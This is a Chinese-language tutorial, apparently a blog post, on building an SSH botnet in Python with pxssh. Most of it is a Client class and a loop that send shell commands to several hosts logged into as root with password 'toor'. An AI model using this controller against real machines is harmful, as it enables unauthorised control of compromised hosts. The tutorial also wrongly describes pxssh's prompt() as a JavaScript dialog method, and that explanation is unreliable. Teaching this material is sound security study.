目录
一、简介
1.1、概述:
二、实现
2.1、函数:
2.2、连接:
2.3、组建僵尸网络
一、简介
1.1、概述:
能通过SSH控制主机, 接下来就要同时控制多台主机
攻击者在达成恶意目的时, 通常会使用被黑掉的计算机群。我们称之为僵尸网络, 因为被黑掉的电脑会像僵尸一样执行指令。为构建僵尸网络, 我们必须引入一个新的概念一类。类的概念是面向编程对象和编程模型的基础。在这一编程模型中, 我们会把各个对象和它们所关联的方法一起实例化。在僵尸网络中, 每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力
二、实现
2.1、函数:
__init__ :是初始化initialization的缩写,在使用类创建对象之后被执行,用于给新创建的对象初始化属性用,如初始化属性的语句就是 self.name=name
prompt是 javascript语言中的一个方法,主要用处是显示提示对话框
2.2、连接:
实现每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
2.3、组建僵尸网络
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output= client.send_command(command)
print('[*] Output from ' + client.host)
print('[+] ' + output + '\n')
def addClient(host, user, password):
client = Client( host, user, password )
botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')